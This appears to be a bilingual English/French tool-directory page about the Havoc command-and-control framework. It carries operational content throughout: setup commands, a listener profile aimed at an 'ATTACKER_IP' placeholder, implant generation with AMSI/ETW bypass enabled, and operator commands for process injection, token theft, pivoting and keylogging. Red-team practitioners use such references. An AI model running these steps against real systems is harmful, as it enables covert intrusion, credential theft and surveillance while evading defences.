retour aux outils back to tools Ducklings

Havoc

Framework C2 open-source moderne avec des capacités d'évasion avancées. Dispose d'un implant Demon avec obfuscation de sleep, injection de processus, et support BOF. Modern open-source C2 framework with advanced evasion capabilities. Features a Demon implant with sleep obfuscation, process injection, and BOF support.

↗ https://github.com/HavocFramework/Havoc

Overview

Havoc is an open-source C2 framework focused on evasion and modern Windows post-exploitation. Its Demon implant supports sleep obfuscation (heap encryption during sleep), indirect syscalls, AMSI/ETW bypasses, process injection, and Beacon Object File (BOF) execution.

Server Setup

# Clone and build
git clone https://github.com/HavocFramework/Havoc
cd Havoc

# Build server (requires Go)
cd teamserver
go build . -o havoc

# Build client (requires Qt6 + PyQt6)
cd ../client
make

Start the team server

./havoc server --profile ./profiles/havoc.yaotl -v

Connect the client

./havoc client

Profile Configuration

# profiles/havoc.yaotl
Teamserver {
    Host = "0.0.0.0"
    Port = 40056

    Build {
        Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
        Nasm = "/usr/bin/nasm"
    }
}

Operators {
    user "operator" {
        Password = "password123"
    }
}

Listeners {
    Http {
        Name         = "http80"
        Hosts        = ["ATTACKER_IP"]
        HostBind     = "0.0.0.0"
        HostRotation = "round-robin"
        PortBind     = 80
        PortConn     = 80
        Secure       = false
    }
}

Generating Demons (Implants)

In the Havoc client GUI:

Attack → Payload → Configure
Select Listener, OS (Windows), Architecture (x64)
Format: Shellcode, PE, or DLL
Enable Evasion: Sleep Obfuscation, AMSI bypass, ETW patch
Generate and download

Key Demon Commands

# Basic recon
whoami
hostname
ps
ls
pwd
env
netstat

# Process injection
inject --pid 1234 --shellcode /path/to/shellcode.bin

# Token manipulation
token steal --pid 1234
token list

# File operations
upload /local/file.exe C:\\Temp\\file.exe
download C:\\Temp\\data.txt /local/

# Execute .NET assembly (in memory)
dotnet inline-execute /path/to/Assembly.exe arg1

# BOF execution (Beacon Object Files)
bof /path/to/portscan.o 10.10.10.0/24 445

# Pivoting
socks 1080               # SOCKS5 proxy through implant
rportfwd 8080 10.10.10.5 80

# Screenshot
screenshot

# Keylogging
keylogger start
keylogger dump
keylogger stop

Evasion Features

Sleep Obfuscation (Ekko/Foliage/Zilean)
  Encrypts implant heap during sleep periods — evades memory scanners

Indirect Syscalls
  Calls Windows syscalls without going through ntdll.dll

AMSI Bypass
  Patches amsi.dll in process memory

ETW Bypass  
  Patches EtwEventWrite to suppress telemetry

Stack Spoofing
  Fakes call stack during sleep to avoid detection

Tips

Use --profile with a properly configured YAML for production ops
Demon’s sleep obfuscation is its strongest evasion feature — always enable it
BOF support means Cobalt Strike beacon object files can run in Havoc without modification
The client supports multiple operators simultaneously (team operations)

Demon evasion options

Sleep Obfuscation:
  None       No obfuscation
  Ekko       ROP-based sleep obfuscation
  Zilean     Timer-based obfuscation
  Foliage    APC-based obfuscation

Injection techniques:
  CreateThread
  NtQueueApcThreadEx-s
  Process Hollowing
  Thread Hijacking

Bypass options:
  AMSI bypass
  ETW patch
  Stack spoofing
  Indirect syscalls

Vue d’ensemble

Havoc est un framework C2 open-source axé sur l’évasion et le post-exploitation Windows moderne. Son implant Demon supporte l’obfuscation de sleep (chiffrement du tas pendant le sommeil), les syscalls indirects, les contournements AMSI/ETW, l’injection de processus, et l’exécution de Beacon Object Files (BOF).

Mise en place du serveur

# Cloner et compiler
git clone https://github.com/HavocFramework/Havoc
cd Havoc

# Compiler le serveur (nécessite Go)
cd teamserver
go build . -o havoc

# Compiler le client (nécessite Qt6 + PyQt6)
cd ../client
make

Démarrer le team server

./havoc server --profile ./profiles/havoc.yaotl -v

Connecter le client

./havoc client

Configuration du profil

# profiles/havoc.yaotl
Teamserver {
    Host = "0.0.0.0"
    Port = 40056

    Build {
        Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
        Nasm = "/usr/bin/nasm"
    }
}

Operators {
    user "operator" {
        Password = "password123"
    }
}

Listeners {
    Http {
        Name         = "http80"
        Hosts        = ["ATTACKER_IP"]
        HostBind     = "0.0.0.0"
        HostRotation = "round-robin"
        PortBind     = 80
        PortConn     = 80
        Secure       = false
    }
}

Générer des Demons (implants)

Dans le client graphique Havoc :

Attack → Payload → Configurer
Sélectionner le Listener, l’OS (Windows), l’architecture (x64)
Format : Shellcode, PE, ou DLL
Activer l’évasion : Sleep Obfuscation, contournement AMSI, patch ETW
Générer et télécharger

Commandes Demon principales

# Reconnaissance de base
whoami
hostname
ps
ls
pwd
env
netstat

# Injection de processus
inject --pid 1234 --shellcode /path/to/shellcode.bin

# Manipulation de tokens
token steal --pid 1234
token list

# Opérations sur fichiers
upload /local/file.exe C:\\Temp\\file.exe
download C:\\Temp\\data.txt /local/

# Exécuter un assembly .NET (en mémoire)
dotnet inline-execute /path/to/Assembly.exe arg1

# Exécution de BOF (Beacon Object Files)
bof /path/to/portscan.o 10.10.10.0/24 445

# Pivoting
socks 1080               # Proxy SOCKS5 à travers l'implant
rportfwd 8080 10.10.10.5 80

# Capture d'écran
screenshot

# Keylogging
keylogger start
keylogger dump
keylogger stop

Fonctionnalités d’évasion

Sleep Obfuscation (Ekko/Foliage/Zilean)
  Chiffre le tas de l'implant pendant les périodes de sommeil : évite les scanners mémoire

Syscalls indirects
  Appelle les syscalls Windows sans passer par ntdll.dll

Contournement AMSI
  Patche amsi.dll en mémoire du processus

Contournement ETW
  Patche EtwEventWrite pour supprimer la télémétrie

Stack Spoofing
  Falsifie la pile d'appels pendant le sommeil pour éviter la détection

Conseils

Utilisez --profile avec un YAML correctement configuré pour des opérations en production
L’obfuscation de sleep de Demon est sa fonctionnalité d’évasion la plus forte : activez-la toujours
Le support BOF signifie que les Beacon Object Files de Cobalt Strike peuvent tourner dans Havoc sans modification
Le client supporte plusieurs opérateurs simultanément (opérations en équipe)

Options d'évasion Demon

Sleep Obfuscation:
  None       No obfuscation
  Ekko       ROP-based sleep obfuscation
  Zilean     Timer-based obfuscation
  Foliage    APC-based obfuscation

Injection techniques:
  CreateThread
  NtQueueApcThreadEx-s
  Process Hollowing
  Thread Hijacking

Bypass options:
  AMSI bypass
  ETW patch
  Stack spoofing
  Indirect syscalls